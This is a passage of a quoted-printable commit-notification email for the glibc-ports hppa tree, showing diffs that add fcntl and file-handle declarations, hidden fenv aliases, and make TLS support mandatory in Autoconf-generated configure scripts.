o (non-blocking). =A0*/
=A0#define F_SETLKW64 =A0 =A0 10 =A0 =A0 =A0/* Set record locking info =
(blocking). =A0*/

-#if defined __USE_BSD || defined __USE_UNIX98
+#if defined __USE_BSD || defined __USE_UNIX98 || defined __USE_XOPEN2K=
8
=A0# define F_GETOWN =A0 =A0 =A011 =A0 =A0 =A0/* Get owner of socket (r=
eceiver of SIGIO). =A0*/
=A0# define F_SETOWN =A0 =A0 =A012 =A0 =A0 =A0/* Set owner of socket (r=
eceiver of SIGIO). =A0*/
=A0#endif
@@ -101,6 +103,10 @@
=A0# define F_SETLEASE =A0 =A01024 =A0 =A0/* Set a lease. =A0*/
=A0# define F_GETLEASE =A0 =A01025 =A0 =A0/* Enquire what lease is acti=
ve. =A0*/
=A0# define F_NOTIFY =A0 =A0 =A01026 =A0 =A0/* Request notfications on =
a directory. =A0*/
+# define F_SETPIPE_SZ =A01031 =A0 =A0/* Set pipe page size array. =A0*=
/
+# define F_GETPIPE_SZ =A01032 =A0 =A0/* Set pipe page size array. =A0*=
/
+#endif
+#ifdef __USE_XOPEN2K8
=A0# define F_DUPFD_CLOEXEC 1030 =A0/* Duplicate file descriptor with
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 clo=
se-on-exit set. =A0*/
=A0#endif
@@ -227,6 +233,19 @@ struct f_owner_ex
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 we splice from/to). =A0*/
=A0# define SPLICE_F_MORE =A0 =A0 =A0 =A0 4 =A0 =A0 =A0 /* Expect more =
data. =A0*/
=A0# define SPLICE_F_GIFT =A0 =A0 =A0 =A0 8 =A0 =A0 =A0 /* Pages passed=
 in are a gift. =A0*/
+
+
+/* File handle structure. =A0*/
+struct file_handle
+{
+ =A0unsigned int handle_bytes;
+ =A0int handle_type;
+ =A0/* File identifier. =A0*/
+ =A0unsigned char f_handle[0];
+};
+
+/* Maximum handle size (for now). =A0*/
+# define MAX_HANDLE_SZ 128
=A0#endif

=A0__BEGIN_DECLS
@@ -243,20 +262,32 @@ extern int sync_file_range (int __fd, __off64_t
__offset, __off64_t __count,
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0unsigned int __f=
lags);


-/* Splice address range into a pipe. =A0*/
+/* Splice address range into a pipe.
+
+ =A0 This function is a possible cancellation point and therefore not
+ =A0 marked with __THROW. =A0*/
=A0extern ssize_t vmsplice (int __fdout, const struct iovec *__iov,
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 size_t __count, unsigne=
d int __flags);

-/* Splice two files together. =A0*/
+/* Splice two files together.
+
+ =A0 This function is a possible cancellation point and therefore not
+ =A0 marked with __THROW. =A0*/
=A0extern ssize_t splice (int __fdin, __off64_t *__offin, int __fdout,
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 __off64_t *__offout, size_t=
 __len,
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 unsigned int __flags);

-/* In-kernel implementation of tee for pipe buffers. =A0*/
+/* In-kernel implementation of tee for pipe buffers.
+
+ =A0 This function is a possible cancellation point and therefore not
+ =A0 marked with __THROW. =A0*/
=A0extern ssize_t tee (int __fdin, int __fdout, size_t __len,
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0unsigned int __flags);

-/* Reserve storage for the data of the file associated with FD. =A0*/
+/* Reserve storage for the data of the file associated with FD.
+
+ =A0 This function is a possible cancellation point and therefore not
+ =A0 marked with __THROW. =A0*/
=A0# ifndef __USE_FILE_OFFSET64
=A0extern int fallocate (int __fd, int __mode, __off_t __offset, __off_=
t __len);
=A0# else
@@ -273,6 +304,19 @@ extern int fallocate64 (int __fd, int __mode,
__off64_t __offset,
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0__off64_t __len);
=A0# endif

+
+/* Map file name to file handle. =A0*/
+extern int name_to_handle_at (int __dfd, const char *__name,
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 struct file_h=
andle *__handle, int *__mnt_id,
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 int __flags) =
__THROW;
+
+/* Open file using the file handle.
+
+ =A0 This function is a possible cancellation point and therefore not
+ =A0 marked with __THROW. =A0*/
+extern int open_by_handle_at (int __mountdirfd, struct file_handle *__=
handle,
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 int __flags);
+
=A0#endif

=A0__END_DECLS

http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D5ce24e77ed89f2a6c11175e3798050246dfd9c04

commit 5ce24e77ed89f2a6c11175e3798050246dfd9c04
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 14:30:56 2011 -0400

=A0 =A0Add hidden aliases for fenv.h functions.

=A0 =A0Add hidden aliases for fegetenv, feupdateenv, and
=A0 =A0ftestexcept. This avoids libc needing to go through
=A0 =A0the PLT for these functions.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@codesourcery.com>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 91ddf8d..41a779e 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,11 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/hppa/fpu/fegetenv.c: Add hidden alias.
+ =A0 =A0 =A0 * sysdeps/hppa/fpu/feupdateenv.c: Likewise.
+ =A0 =A0 =A0 * sysdeps/hppa/fpu/ftestexcept.c: Likewise.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/hppa/dl-tls.h: Update copyright year.
=A0 =A0 =A0 =A0Define TLS_DTV_UNALLOCATED.

diff --git a/sysdeps/hppa/fpu/fegetenv.c b/sysdeps/hppa/fpu/fegetenv.c
index fcf5d2d..aab3431 100644
--- a/sysdeps/hppa/fpu/fegetenv.c
+++ b/sysdeps/hppa/fpu/fegetenv.c
@@ -1,5 +1,5 @@
=A0/* Store current floating-point environment.
- =A0 Copyright (C) 2000 Free Software Foundation, Inc.
+ =A0 Copyright (C) 2000, 2011 Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.
=A0 =A0Contributed by David Huggins-Daines <dhd@debian.org>, 2000

@@ -33,3 +33,4 @@ fegetenv (fenv_t *envp)
=A0 memcpy(envp, buf, sizeof (*envp));
=A0 return 0;
=A0}
+libm_hidden_def (fegetenv)
diff --git a/sysdeps/hppa/fpu/feupdateenv.c b/sysdeps/hppa/fpu/feupdate=
env.c
index 1714006..6e1d5d4 100644
--- a/sysdeps/hppa/fpu/feupdateenv.c
+++ b/sysdeps/hppa/fpu/feupdateenv.c
@@ -1,5 +1,5 @@
=A0/* Install given floating-point environment and raise exceptions.
- =A0 Copyright (C) 2000 Free Software Foundation, Inc.
+ =A0 Copyright (C) 2000, 2011 Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.
=A0 =A0Contributed by David Huggins-Daines <dhd@debian.org>, 2000

@@ -38,3 +38,4 @@ feupdateenv (const fenv_t *envp)
=A0 /* Success. =A0*/
=A0 return 0;
=A0}
+libm_hidden_def (feupdateenv)
diff --git a/sysdeps/hppa/fpu/ftestexcept.c b/sysdeps/hppa/fpu/ftestexc=
ept.c
index ac6d4b2..c031ffe 100644
--- a/sysdeps/hppa/fpu/ftestexcept.c
+++ b/sysdeps/hppa/fpu/ftestexcept.c
@@ -1,5 +1,5 @@
=A0/* Test exception in current environment.
- =A0 Copyright (C) 2000 Free Software Foundation, Inc.
+ =A0 Copyright (C) 2000, 2011 Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.
=A0 =A0Contributed by David Huggins-Daines <dhd@debian.org>, 2000

@@ -32,3 +32,4 @@ fetestexcept (int excepts)

=A0 return (s.sw[0] >> 27) & excepts & FE_ALL_EXCEPT;
=A0}
+libm_hidden_def (fetestexcept)

http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D2ab0965cb022dfdbd397eb88f96447393b4118b7

commit 2ab0965cb022dfdbd397eb88f96447393b4118b7
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 14:21:00 2011 -0400

=A0 =A0Define TLS_DTV_UNALLOCATED for hppa.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 3913e61..91ddf8d 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,10 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/hppa/dl-tls.h: Update copyright year.
+ =A0 =A0 =A0 Define TLS_DTV_UNALLOCATED.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/hppa/elf/configure.in: Always test for TLS sup=
port
=A0 =A0 =A0 =A0and error out if missing.
=A0 =A0 =A0 =A0* sysdeps/hppa/elf/configure: Regenerate.
diff --git a/sysdeps/hppa/dl-tls.h b/sysdeps/hppa/dl-tls.h
index 1bc9aae..91c3d44 100644
--- a/sysdeps/hppa/dl-tls.h
+++ b/sysdeps/hppa/dl-tls.h
@@ -1,5 +1,5 @@
=A0/* Thread-local storage handling in the ELF dynamic linker. =A0hppa =
version.
- =A0 Copyright (C) 2003 Free Software Foundation, Inc.
+ =A0 Copyright (C) 2003, 2011 Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.

=A0 =A0The GNU C Library is free software; you can redistribute it and/=
or
@@ -27,3 +27,6 @@ typedef struct


=A0extern void *__tls_get_addr (tls_index *ti);
+
+/* Value used for dtv entries for which the allocation is delayed. =A0=
*/
+#define TLS_DTV_UNALLOCATED =A0 =A0((void *) -1l)

http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D451398f8b87c2a7c6bed7d6650a6cfbca43f9189

commit 451398f8b87c2a7c6bed7d6650a6cfbca43f9189
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 14:15:51 2011 -0400

=A0 =A0Always test for TLS support.

=A0 =A0Always test for TLS support on hppa and raise
=A0 =A0an error if the TLS support is missing.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index e37a630..3913e61 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,12 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/hppa/elf/configure.in: Always test for TLS supp=
ort
+ =A0 =A0 =A0 and error out if missing.
+ =A0 =A0 =A0 * sysdeps/hppa/elf/configure: Regenerate.
+ =A0 =A0 =A0 * sysdeps/hppa/configure: Regenerate.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/hppa/nptl/tls.h: Update copyright year.
=A0 =A0 =A0 =A0Remove HAVE_TLS_SUPPORT check.

diff --git a/sysdeps/hppa/configure b/sysdeps/hppa/configure
index b50ec17..aafc420 100644
--- a/sysdeps/hppa/configure
+++ b/sysdeps/hppa/configure
@@ -1,19 +1,101 @@
+
+# as_fn_set_status STATUS
+# -----------------------
+# Set $? to STATUS, without forking.
+as_fn_set_status ()
+{
+ =A0return $1
+} # as_fn_set_status
+
+# as_fn_exit STATUS
+# -----------------
+# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
+as_fn_exit ()
+{
+ =A0set +e
+ =A0as_fn_set_status $1
+ =A0exit $1
+} # as_fn_exit
+if expr a : '\(a\)' >/dev/null 2>&1 &&
+ =A0 test "X`expr 00001 : '.*\(...\)'`" =3D X001; then
+ =A0as_expr=3Dexpr
+else
+ =A0as_expr=3Dfalse
+fi
+
+if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" =3D=
 "X/"; then
+ =A0as_basename=3Dbasename
+else
+ =A0as_basename=3Dfalse
+fi
+
+as_me=3D`$as_basename -- "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+ =A0 =A0 =A0 =A0X"$0" : 'X\(//\)$' \| \
+ =A0 =A0 =A0 =A0X"$0" : 'X\(/\)' \| . 2>/dev/null ||
+$as_echo X/"$0" |
+ =A0 =A0sed '/^.*\/\([^/][^/]*\)\/*$/{
+ =A0 =A0 =A0 =A0 =A0 s//\1/
+ =A0 =A0 =A0 =A0 =A0 q
+ =A0 =A0 =A0 =A0 }
+ =A0 =A0 =A0 =A0 /^X\/\(\/\/\)$/{
+ =A0 =A0 =A0 =A0 =A0 s//\1/
+ =A0 =A0 =A0 =A0 =A0 q
+ =A0 =A0 =A0 =A0 }
+ =A0 =A0 =A0 =A0 /^X\/\(\/\).*/{
+ =A0 =A0 =A0 =A0 =A0 s//\1/
+ =A0 =A0 =A0 =A0 =A0 q
+ =A0 =A0 =A0 =A0 }
+ =A0 =A0 =A0 =A0 s/.*/./; q'`
+
+
+ =A0as_lineno_1=3D$LINENO as_lineno_1a=3D$LINENO
+ =A0as_lineno_2=3D$LINENO as_lineno_2a=3D$LINENO
+ =A0eval 'test "x$as_lineno_1'$as_run'" !=3D "x$as_lineno_2'$as_run'" =
&&
+ =A0test "x`expr $as_lineno_1'$as_run' + 1`" =3D "x$as_lineno_2'$as_ru=
n'"' || {
+ =A0# Blame Lee E. McMahon (1931-1989) for sed's syntax. =A0:-)
+ =A0sed -n '
+ =A0 =A0p
+ =A0 =A0/[$]LINENO/=3D
+ =A0' <$as_myself |
+ =A0 =A0sed '
+ =A0 =A0 =A0s/[$]LINENO.*/&-/
+ =A0 =A0 =A0t lineno
+ =A0 =A0 =A0b
+ =A0 =A0 =A0:lineno
+ =A0 =A0 =A0N
+ =A0 =A0 =A0:loop
+ =A0 =A0 =A0s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
+ =A0 =A0 =A0t loop
+ =A0 =A0 =A0s/-\n.*//
+ =A0 =A0' >$as_me.lineno &&
+ =A0chmod +x "$as_me.lineno" ||
+ =A0 =A0{ $as_echo "$as_me: error: cannot create $as_me.lineno; rerun
with a POSIX shell" >&2; as_fn_exit 1; }
+
+ =A0# Don't try to exec as it changes $[0], causing all sort of proble=
ms
+ =A0# (the dirname of $[0] is not the place where we might find the
+ =A0# original and so on. =A0Autoconf is especially sensitive to this)=
=2E
+ =A0. "./$as_me.lineno"
+ =A0# Exit status is that of the last command.
+ =A0exit
+}
+
=A0# This file is generated from configure.in by Autoconf. =A0DO NOT ED=
IT!

-{ echo "$as_me:$LINENO: checking for assembler line separator" >&5
-echo $ECHO_N "checking for assembler line separator... $ECHO_C" >&6; }
-if test "${libc_cv_asm_line_sep+set}" =3D set; then
- =A0echo $ECHO_N "(cached) $ECHO_C" >&6
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for assembler line
separator" >&5
+$as_echo_n "checking for assembler line separator... " >&6; }
+if test "${libc_cv_asm_line_sep+set}" =3D set; then :
+ =A0$as_echo_n "(cached) " >&6
=A0else
=A0 cat > conftest.s <<EOF
=A0nop ; is_old_puffin
=A0EOF
=A0if { ac_try=3D'${CC-cc} -c $ASFLAGS conftest.s 1>&5'
- =A0{ (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ =A0{ { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >=
&5
=A0 (eval $ac_try) 2>&5
=A0 ac_status=3D$?
- =A0echo "$as_me:$LINENO: \$? =3D $ac_status" >&5
- =A0(exit $ac_status); }; }; then
+ =A0$as_echo "$as_me:${as_lineno-$LINENO}: \$? =3D $ac_status" >&5
+ =A0test $ac_status =3D 0; }; }; then
=A0 libc_cv_asm_line_sep=3D'!'
=A0else
=A0 if test -z "$enable_hacker_mode"; then
@@ -25,8 +107,8 @@ else
=A0fi
=A0rm -f conftest*
=A0fi
-{ echo "$as_me:$LINENO: result: $libc_cv_asm_line_sep" >&5
-echo "${ECHO_T}$libc_cv_asm_line_sep" >&6; }
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_asm_line_sep=
" >&5
+$as_echo "$libc_cv_asm_line_sep" >&6; }
=A0cat >>confdefs.h <<_ACEOF
=A0#define ASM_LINE_SEP $libc_cv_asm_line_sep
=A0_ACEOF
diff --git a/sysdeps/hppa/elf/configure b/sysdeps/hppa/elf/configure
old mode 100644
new mode 100755
index ba69990..4df64a8
--- a/sysdeps/hppa/elf/configure
+++ b/sysdeps/hppa/elf/configure
@@ -1,13 +1,94 @@
+
+# as_fn_set_status STATUS
+# -----------------------
+# Set $? to STATUS, without forking.
+as_fn_set_status ()
+{
+ =A0return $1
+} # as_fn_set_status
+
+# as_fn_exit STATUS
+# -----------------
+# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
+as_fn_exit ()
+{
+ =A0set +e
+ =A0as_fn_set_status $1
+ =A0exit $1
+} # as_fn_exit
+if expr a : '\(a\)' >/dev/null 2>&1 &&
+ =A0 test "X`expr 00001 : '.*\(...\)'`" =3D X001; then
+ =A0as_expr=3Dexpr
+else
+ =A0as_expr=3Dfalse
+fi
+
+if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" =3D=
 "X/"; then
+ =A0as_basename=3Dbasename
+else
+ =A0as_basename=3Dfalse
+fi
+
+as_me=3D`$as_basename -- "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+ =A0 =A0 =A0 =A0X"$0" : 'X\(//\)$' \| \
+ =A0 =A0 =A0 =A0X"$0" : 'X\(/\)' \| . 2>/dev/null ||
+$as_echo X/"$0" |
+ =A0 =A0sed '/^.*\/\([^/][^/]*\)\/*$/{
+ =A0 =A0 =A0 =A0 =A0 s//\1/
+ =A0 =A0 =A0 =A0 =A0 q
+ =A0 =A0 =A0 =A0 }
+ =A0 =A0 =A0 =A0 /^X\/\(\/\/\)$/{
+ =A0 =A0 =A0 =A0 =A0 s//\1/
+ =A0 =A0 =A0 =A0 =A0 q
+ =A0 =A0 =A0 =A0 }
+ =A0 =A0 =A0 =A0 /^X\/\(\/\).*/{
+ =A0 =A0 =A0 =A0 =A0 s//\1/
+ =A0 =A0 =A0 =A0 =A0 q
+ =A0 =A0 =A0 =A0 }
+ =A0 =A0 =A0 =A0 s/.*/./; q'`
+
+
+ =A0as_lineno_1=3D$LINENO as_lineno_1a=3D$LINENO
+ =A0as_lineno_2=3D$LINENO as_lineno_2a=3D$LINENO
+ =A0eval 'test "x$as_lineno_1'$as_run'" !=3D "x$as_lineno_2'$as_run'" =
&&
+ =A0test "x`expr $as_lineno_1'$as_run' + 1`" =3D "x$as_lineno_2'$as_ru=
n'"' || {
+ =A0# Blame Lee E. McMahon (1931-1989) for sed's syntax. =A0:-)
+ =A0sed -n '
+ =A0 =A0p
+ =A0 =A0/[$]LINENO/=3D
+ =A0' <$as_myself |
+ =A0 =A0sed '
+ =A0 =A0 =A0s/[$]LINENO.*/&-/
+ =A0 =A0 =A0t lineno
+ =A0 =A0 =A0b
+ =A0 =A0 =A0:lineno
+ =A0 =A0 =A0N
+ =A0 =A0 =A0:loop
+ =A0 =A0 =A0s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
+ =A0 =A0 =A0t loop
+ =A0 =A0 =A0s/-\n.*//
+ =A0 =A0' >$as_me.lineno &&
+ =A0chmod +x "$as_me.lineno" ||
+ =A0 =A0{ $as_echo "$as_me: error: cannot create $as_me.lineno; rerun
with a POSIX shell" >&2; as_fn_exit 1; }
+
+ =A0# Don't try to exec as it changes $[0], causing all sort of proble=
ms
+ =A0# (the dirname of $[0] is not the place where we might find the
+ =A0# original and so on. =A0Autoconf is especially sensitive to this)=
=2E
+ =A0. "./$as_me.lineno"
+ =A0# Exit status is that of the last command.
+ =A0exit
+}
+
=A0# This file is generated from configure.in by Autoconf. =A0DO NOT ED=
IT!
=A0# Local configure fragment for sysdeps/hppa/elf.

-if test "$usetls" !=3D no; then
=A0# Check for support of thread-local storage handling in assembler an=
d
=A0# linker.
-{ echo "$as_me:$LINENO: checking for hppa TLS support" >&5
-echo $ECHO_N "checking for hppa TLS support... $ECHO_C" >&6; }
-if test "${libc_cv_hppa_tls+set}" =3D set; then
- =A0echo $ECHO_N "(cached) $ECHO_C" >&6
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for hppa TLS support=
" >&5
+$as_echo_n "checking for hppa TLS support... " >&6; }
+if test "${libc_cv_hppa_tls+set}" =3D set; then :
+ =A0$as_echo_n "(cached) " >&6
=A0else
=A0 cat > conftest.s <<\EOF
=A0; Setup tls data
@@ -41,23 +122,19 @@ test3:
=A0; Done all the TLS tests.
=A0EOF
=A0if { ac_try=3D'${CC-cc} -c $CFLAGS conftest.s 1>&5'
- =A0{ (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ =A0{ { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >=
&5
=A0 (eval $ac_try) 2>&5
=A0 ac_status=3D$?
- =A0echo "$as_me:$LINENO: \$? =3D $ac_status" >&5
- =A0(exit $ac_status); }; }; then
+ =A0$as_echo "$as_me:${as_lineno-$LINENO}: \$? =3D $ac_status" >&5
+ =A0test $ac_status =3D 0; }; }; then
=A0 libc_cv_hppa_tls=3Dyes
=A0else
=A0 libc_cv_hppa_tls=3Dno
=A0fi
=A0rm -f conftest*
=A0fi
-{ echo "$as_me:$LINENO: result: $libc_cv_hppa_tls" >&5
-echo "${ECHO_T}$libc_cv_hppa_tls" >&6; }
-if test $libc_cv_hppa_tls =3D yes; then
- =A0cat >>confdefs.h <<\_ACEOF
-#define HAVE_TLS_SUPPORT 1
-_ACEOF
-
-fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_hppa_tls" >&=
5
+$as_echo "$libc_cv_hppa_tls" >&6; }
+if test $libc_cv_hppa_tls =3D no; then
+ =A0as_fn_error $? "the assembler must support TLS" "$LINENO" 5
=A0fi
diff --git a/sysdeps/hppa/elf/configure.in b/sysdeps/hppa/elf/configure=
=2Ein
index 1b70a5b..e31c880 100644
--- a/sysdeps/hppa/elf/configure.in
+++ b/sysdeps/hppa/elf/configure.in
@@ -1,7 +1,6 @@
=A0GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
=A0# Local configure fragment for sysdeps/hppa/elf.

-if test "$usetls" !=3D no; then
=A0# Check for support of thread-local storage handling in assembler an=
d
=A0# linker.
=A0AC_CACHE_CHECK(for hppa TLS support, libc_cv_hppa_tls, [dnl
@@ -43,7 +42,6 @@ else
=A0 libc_cv_hppa_tls=3Dno
=A0fi
=A0rm -f conftest*])
-if test $libc_cv_hppa_tls =3D yes; then
- =A0AC_DEFINE(HAVE_TLS_SUPPORT)
-fi
+if test $libc_cv_hppa_tls =3D no; then
+ =A0AC_MSG_ERROR([the assembler must support TLS])
=A0fi

http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3Dab653f4dbe37d6244057f3f2ab33078357b6d708

commit ab653f4dbe37d6244057f3f2ab33078357b6d708
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 11:42:02 2011 -0400

=A0 =A0Remove check for HAVE_TLS_SUPPORT

=A0 =A0TLS support is now required, remove checks.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index f19c693..e37a630 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,4 +1,9 @@
-2011-10-17 =A0Guy Martin <gmsoft@tuxicoman.be>
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
+ =A0 =A0 =A0 * sysdeps/hppa/nptl/tls.h: Update copyright year.
+ =A0 =A0 =A0 Remove HAVE_TLS_SUPPORT check.
+
+2011-10-17 =A0Guy Martin =A0<gmsoft@tuxicoman.be>

=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/sys/epoll.h
=A0 =A0 =A0 =A0Fix EPOLL_CLOEXEC and EPOLL_NONBLOCK to match kernel def=
inition.
diff --git a/sysdeps/hppa/nptl/tls.h b/sysdeps/hppa/nptl/tls.h
index 389cbb9..8af7504 100644
--- a/sysdeps/hppa/nptl/tls.h
+++ b/sysdeps/hppa/nptl/tls.h
@@ -1,5 +1,5 @@
=A0/* Definition for thread-local data handling. =A0NPTL/hppa version.
- =A0 Copyright (C) 2005, 2007, 2010 Free Software Foundation, Inc.
+ =A0 Copyright (C) 2005, 2007, 2010, 2011 Free Software Foundation, In=
c.
=A0 =A0This file is part of the GNU C Library.

=A0 =A0The GNU C Library is free software; you can redistribute it and/=
or
@@ -42,12 +42,6 @@ typedef union dtv
=A0# include <tcb-offsets.h>
=A0#endif /* __ASSEMBLER__ */

-
-/* We require TLS support in the tools. =A0*/
-#ifndef HAVE_TLS_SUPPORT
-# error "TLS support is required."
-#endif
-
=A0/* Signal that TLS support is available. =A0*/
=A0#define USE_TLS =A0 =A0 =A0 =A01


-----------------------------------------------------------------------

Summary of changes:
=A0ChangeLog.hppa =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 | =A0 66 ++++++-
=A0sysdeps/hppa/configure =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 | =A0100 ++++++++-
=A0sysdeps/hppa/dl-tls.h =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0| =A0 =A05 +-
=A0sysdeps/hppa/elf/configure =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 | =A0109 ++++++++--
=A0sysdeps/hppa/elf/configure.in =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0| =A0 =A06 +-
=A0sysdeps/hppa/fpu/fegetenv.c =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0| =A0 =A03 +-
=A0sysdeps/hppa/fpu/feupdateenv.c =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 | =A0 =A03 +-
=A0sysdeps/hppa/fpu/ftestexcept.c =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 | =A0 =A03 +-
=A0sysdeps/hppa/linuxthreads/pspinlock.c =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0=
 82 -------
=A0sysdeps/hppa/linuxthreads/pt-machine.h =A0 =A0 =A0 =A0 =A0 =A0 | =A0=
134 -----------
=A0sysdeps/hppa/linuxthreads/tls.h =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0| =A0163 -------------
=A0sysdeps/hppa/nptl/tls.h =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0| =A0 =A08 +-
=A0sysdeps/hppa/stackinfo.h =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 | =A0 =A08 +-
=A0sysdeps/unix/sysv/linux/hppa/bits/fcntl.h =A0 =A0 =A0 =A0 =A0| =A0 6=
6 +++++-
=A0.../unix/sysv/linux/hppa/linuxthreads/aio_cancel.c | =A0 33 ---
=A0.../sysv/linux/hppa/linuxthreads/bits/initspin.h =A0 | =A0 41 ----
=A0.../linux/hppa/linuxthreads/bits/pthreadtypes.h =A0 =A0| =A0159 ----=
---------
=A0.../sysv/linux/hppa/linuxthreads/malloc-machine.h =A0| =A0 73 ------
=A0.../sysv/linux/hppa/linuxthreads/pt-initfini.c =A0 =A0 | =A0109 ----=
-----
=A0.../sysv/linux/hppa/linuxthreads/sysdep-cancel.h =A0 | =A0242 ------=
--------------
=A0sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h =A0| =A0 84 ++++++=
--
=A021 files changed, 394 insertions(+), 1103 deletions(-)
=A0mode change 100644 =3D> 100755 sysdeps/hppa/elf/configure
=A0delete mode 100644 sysdeps/hppa/linuxthreads/pspinlock.c
=A0delete mode 100644 sysdeps/hppa/linuxthreads/pt-machine.h
=A0delete mode 100644 sysdeps/hppa/linuxthreads/tls.h
=A0delete mode 100644 sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_can=
cel.c
=A0delete mode 100644 sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/in=
itspin.h
=A0delete mode 100644
sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtypes.h
=A0delete mode 100644 sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-=
machine.h
=A0delete mode 100644 sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-init=
fini.c
=A0delete mode 100644 sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-=
cancel.h


hooks/post-receive
--
Community source repository for glibc add-on ports
--
